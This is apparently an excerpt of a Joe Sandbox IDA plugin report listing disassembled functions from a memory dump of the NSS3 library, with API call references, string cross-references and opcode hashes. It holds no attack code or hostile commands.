SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,?,6C6DDC29,?), ref: 6C65BEBB

Part of subcall function 6C6AFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6C6A8D2D,?,00000000,?), ref: 6C6AFB85
Part of subcall function 6C6AFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6C6AFBB1

PR_SetError.NSS3(FFFFE013,00000000,?,6C6DDC29,?), ref: 6C65BEDF
PORT_FreeArena_Util.NSS3(?,00000000,?,?,?,6C6DDC29,?), ref: 6C65BEF3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ArenaUtil$Alloc_$AllocateArena_Value$CopyCriticalEnterErrorFreeInitItem_LockPoolSectionUnlockcallocmemcpy
String ID:
API String ID: 3111646008-0
Opcode ID: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction ID: 648b5bc76a39fe106231e4470b806462bc686ec6e0c590da5713f98635176478
Opcode Fuzzy Hash: 611ca16d4481621904a0b14d927bf13d40c7ced42e658f035fcec1cf4bf9e4c2
Instruction Fuzzy Hash: 2F11DD71F002055BEB008B65ED55FAF3768EF81398F680028ED09E7740EB31D92AC7A9

Function 6C6E3C80 Relevance: 9.1, APIs: 6, Instructions: 68COMMON

Download Yara Rule

APIs

Part of subcall function 6C6E5B40: PR_GetIdentitiesLayer.NSS3 ref: 6C6E5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6E3D3F

Part of subcall function 6C65BA90: PORT_NewArena_Util.NSS3(00000800,6C6E3CAF,?), ref: 6C65BABF
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(00000000,00000010,?,6C6E3CAF,?), ref: 6C65BAD5
Part of subcall function 6C65BA90: PORT_ArenaAlloc_Util.NSS3(?,00000001,?,?,?,6C6E3CAF,?), ref: 6C65BB08
Part of subcall function 6C65BA90: memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB1A
Part of subcall function 6C65BA90: SECITEM_CopyItem_Util.NSS3(?,00000000,?,?,?,?,?,?,?,?,?,6C6E3CAF,?), ref: 6C65BB3B

PR_EnterMonitor.NSS3(?), ref: 6C6E3CCB

Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190AB
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C7190C9
Part of subcall function 6C719090: EnterCriticalSection.KERNEL32 ref: 6C7190E5
Part of subcall function 6C719090: TlsGetValue.KERNEL32 ref: 6C719116
Part of subcall function 6C719090: LeaveCriticalSection.KERNEL32 ref: 6C71913F

PR_EnterMonitor.NSS3(?), ref: 6C6E3CE2
PORT_FreeArena_Util.NSS3(?,00000000), ref: 6C6E3CF8
PR_ExitMonitor.NSS3(?), ref: 6C6E3D15
PR_ExitMonitor.NSS3(?), ref: 6C6E3D2E

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Util$Monitor$EnterValue$Alloc_ArenaArena_CriticalExitSection$CopyErrorFreeIdentitiesItem_LayerLeavememset
String ID:
API String ID: 4030862364-0
Opcode ID: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction ID: 78ee8dcc65453962edf3349c23997cda2faaf976ce615f05c3416911d81cb3b0
Opcode Fuzzy Hash: e7ad2b172ce1ebdb6267d86afec6fc76fe1798d5b7f323bf4e9ea9a967b6582e
Instruction Fuzzy Hash: 0C115B75A0A6006FE7205A25EC417DBB3E5EF1530CF500136E41A87B30F232F81AC74A

Function 6C6AFDF0 Relevance: 9.1, APIs: 6, Instructions: 60memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,0000000C,00000000,?,?), ref: 6C6AFE08

Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B10F3
Part of subcall function 6C6B10C0: EnterCriticalSection.KERNEL32(?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B110C
Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1141
Part of subcall function 6C6B10C0: PR_Unlock.NSS3(?,?,?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B1182
Part of subcall function 6C6B10C0: TlsGetValue.KERNEL32(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C6AFE1D

Part of subcall function 6C6B10C0: PL_ArenaAllocate.NSS3(?,6C658802,00000000,00000008,?,6C64EF74,00000000), ref: 6C6B116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C6AFE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C6AFE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C6AFE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C6AFE6F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction ID: 3f4a05c9c742616e56428bfde8db8ef3fa3682fcff5bcd5d0f55f93b194d77b2
Opcode Fuzzy Hash: e8958f3f6d710bd530286dc8b91ab4079b225fc896970217a65bb06645716fea
Instruction Fuzzy Hash: 9011E5B6600205BBEB008B95DC40A5BB798BF55399F148034F91897B12E732DD26C7AB

Function 6C75FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C75FD9E

Part of subcall function 6C719BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C641A48), ref: 6C719BB3
Part of subcall function 6C719BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C641A48), ref: 6C719BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C75FDB9

Part of subcall function 6C63A900: TlsGetValue.KERNEL32(00000000,?,6C7B14E4,?,6C5D4DD9), ref: 6C63A90F
Part of subcall function 6C63A900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C63A94F

PR_Unlock.NSS3 ref: 6C75FDD4
PR_Lock.NSS3 ref: 6C75FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C75FE0D
PR_Unlock.NSS3 ref: 6C75FE23

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction ID: 6dd34c5b40ab76d90fec65025ae3ab606a4266a3735d782823e857ba3e508371
Opcode Fuzzy Hash: 7e8b1fa407be745eaa828d524275a98d2c409347c2b18c981b8470a9201af768
Instruction Fuzzy Hash: F501A1B6A04601ABCF058F15FD00C42B672FB022687154374E83647BE2EB22ED29D7C6

Function 6C63AE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C63AFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C63AF5C
misuse, xrefs: 6C63AFCE
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C63AFC4
%s at line %d of [%.10s], xrefs: 6C63AFD3

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction ID: cc48d3b6dd0f42abda03a091663f80657c0467757186f32d54182a31db5f781a
Opcode Fuzzy Hash: 49ce3d7126dc21790a852734a1323841b4b46ed2629eaa93a8c81676bbe97145
Instruction Fuzzy Hash: 2E910675A042258FDF04CF59C854BAAB7F1BF45314F1960ACE869AB792C334ED01DB64

Function 6C69FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C69FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C69FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C69FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C69FDDE

Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8821
Part of subcall function 6C6A8800: TlsGetValue.KERNEL32(?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A883D
Part of subcall function 6C6A8800: EnterCriticalSection.KERNEL32(?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8856
Part of subcall function 6C6A8800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C6A8887
Part of subcall function 6C6A8800: PR_Unlock.NSS3(?,?,?,?,6C6B085A,00000000,?,6C658369,?), ref: 6C6A8899

Strings

pkcs11:, xrefs: 6C69FC4F

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction ID: b93456ca4730d94e4b444e25194c5bd86eceaf0c0e67f3adfd0141c361d24dbf
Opcode Fuzzy Hash: 42c3fd97aae568c109f8699217c78ed9ea3259067af570a1b892a8c49de820e2
Instruction Fuzzy Hash: 7651D0B1A05113ABEB008FA59C40F9A73B5AF4635CF260425FD155BB61EB20E909CB9F

Function 6C5DBDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C5DBE02

Part of subcall function 6C709C40: memcmp.VCRUNTIME140(?,00000000,6C5DC52B), ref: 6C709D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C5DBE9F

Strings

database corruption, xrefs: 6C5DBE93
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C5DBE89
%s at line %d of [%.10s], xrefs: 6C5DBE98

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction ID: 2cb60c456c74f4e363c52790e46bb529bea1504c2525b308e91cf8af1d7d90c4
Opcode Fuzzy Hash: 3a616e5523d087ca68feb0d596ce4744d437253528627213fca524420dc8c475
Instruction Fuzzy Hash: 4A310431A0435A8BC700EF6D8C94AABBBA3EF45314B1A8954EE541BA41D370FD04C7D5

Function 6C6C6DE0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 88COMMON

Download Yara Rule

APIs

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E36
PR_SetError.NSS3(FFFFE005,00000000), ref: 6C6C6E57

Part of subcall function 6C6FC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C6FC2BF

PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6E7D
PR_MillisecondsToInterval.NSS3(?), ref: 6C6C6EAA

Strings

nvl, xrefs: 6C6C6DF9

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: IntervalMilliseconds$ErrorValue
String ID: nvl
API String ID: 3163584228-2622381835
Opcode ID: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction ID: 27d761a5b64c3951a42306a2f93fccc51be671b2957b802cd5d755221fd57891
Opcode Fuzzy Hash: 07296b1ea92364811bb9fb18c4ede15eb1b05a0ab13e1ca6add2467ad655cf4e
Instruction Fuzzy Hash: 5F31C331718612EEDB145F34CD083A6BBA4EB4931AF14063ED89AD6A40E730E456CF8F

Function 6C651EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651EE2

Part of subcall function 6C6B1820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C651D97,?,?), ref: 6C6B1836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F37
DER_DecodeTimeChoice_Util.NSS3(?,dLel,?,?,?,?,?,?,?,?,00000000,00000000,?,6C654C64,?,-00000004), ref: 6C651F53

Strings

dLel, xrefs: 6C651F2B, 6C651F51

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLel
API String ID: 3216063065-2953738621
Opcode ID: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction ID: 33d39be9f9a2e1454272c99b24912e9fb2a47bea87085d4a8d4070bcf6d88dfd
Opcode Fuzzy Hash: 4568064a4e47393c13961365650d0237803fa11251800d464526fd551d00584b
Instruction Fuzzy Hash: 7921A471504306AFC700CF2ADD00ADBB7E9BB85799F500929E854D3A40F331E529CBE6

Function 6C640DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C640BDE), ref: 6C640DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C640BDE), ref: 6C640DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C640BDE), ref: 6C640DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C640BDE), ref: 6C640E32

Strings

%s incr => %d (find lib), xrefs: 6C640E2D

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction ID: a1a2d71e554ac5d16cb7eb8362636ccec162f22189dc586c63fef9a8274ccdc6
Opcode Fuzzy Hash: bc6b5875b17805242698fb41718a40ce45e67e7b687651a4bde3c299df9ea637
Instruction Fuzzy Hash: FB012472700624AFE7208F259C49E1777FCDB45B09B04843DED09D7A41E762EC2987E5

Function 6C681CC0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 46COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_Initialize), ref: 6C681CD8
PR_LogPrint.NSS3( pInitArgs = 0x%p,?), ref: 6C681CF1

Part of subcall function 6C7609D0: PR_Now.NSS3 ref: 6C760A22
Part of subcall function 6C7609D0: PR_ExplodeTime.NSS3(00000000,?,?,?), ref: 6C760A35
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%04d-%02d-%02d %02d:%02d:%02d.%06d UTC - ,?,?,?,?,?,?,?), ref: 6C760A66
Part of subcall function 6C7609D0: PR_GetCurrentThread.NSS3 ref: 6C760A70
Part of subcall function 6C7609D0: PR_snprintf.NSS3(?,000001FF,%ld[%p]: ,00000000,00000000), ref: 6C760A9D
Part of subcall function 6C7609D0: PR_vsnprintf.NSS3(-FFFFFDF0,000001FF,?,?), ref: 6C760AC8
Part of subcall function 6C7609D0: PR_vsmprintf.NSS3(?,?), ref: 6C760AE8
Part of subcall function 6C7609D0: EnterCriticalSection.KERNEL32(?), ref: 6C760B19
Part of subcall function 6C7609D0: OutputDebugStringA.KERNEL32(00000000), ref: 6C760B48
Part of subcall function 6C7609D0: _PR_MD_UNLOCK.NSS3(?), ref: 6C760C76
Part of subcall function 6C7609D0: PR_LogFlush.NSS3 ref: 6C760C7E

Strings

C_Initialize, xrefs: 6C681CD3
pInitArgs = 0x%p, xrefs: 6C681CEC
nvl, xrefs: 6C681D09, 6C681D30

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: PrintR_snprintf$CriticalCurrentDebugEnterExplodeFlushOutputR_vsmprintfR_vsnprintfSectionStringThreadTime
String ID: pInitArgs = 0x%p$C_Initialize$nvl
API String ID: 1907330108-1581979034
Opcode ID: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction ID: 5f707e80267b0eb94de6884d87c49c4de110a5f4ac24cb9493e40e417f2e9577
Opcode Fuzzy Hash: 51c45aec4b35d8bd2d5154f3fda561a9b05b18c114dba0dd76eefd301f100147
Instruction Fuzzy Hash: B901DEB53031449FDB009F64CA0CF5537B5EB8331AF088434E81996A51DB34D849C7AE

Function 6C6FAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC2D

Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE10
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE24
Part of subcall function 6C69ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C67D079,00000000,00000001), ref: 6C69AE5A
Part of subcall function 6C69ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE6F
Part of subcall function 6C69ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AE7F
Part of subcall function 6C69ADC0: TlsGetValue.KERNEL32(?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEB1
Part of subcall function 6C69ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C67CDBB,?,6C67D079,00000000,00000001), ref: 6C69AEC9

PK11_FreeSymKey.NSS3(?,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]nl,00000000,?,?,6C6D6AC6,?), ref: 6C6FAC59
free.MOZGLUE(8CB6FF01,6C6D6AC6,?,?,?,?,?,?,?,?,?,?,6C6E5D40,00000000,?,6C6EAAD4), ref: 6C6FAC62

Strings

@]nl, xrefs: 6C6FAC05

Memory Dump Source

Source File: 00000000.00000002.2069981204.000000006C5D1000.00000020.00000001.01000000.0000000F.sdmp, Offset: 6C5D0000, based on PE: true

Associated: 00000000.00000002.2069960726.000000006C5D0000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070103181.000000006C76F000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070138132.000000006C7AE000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070156248.000000006C7AF000.00000008.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070174578.000000006C7B0000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000000.00000002.2070193704.000000006C7B5000.00000002.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5d0000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]nl
API String ID: 1595327144-1632522648
Opcode ID: fa6982e2f7cb0de6bb2f3703adbc3884e885850c9e7266d9945c174036c7836b
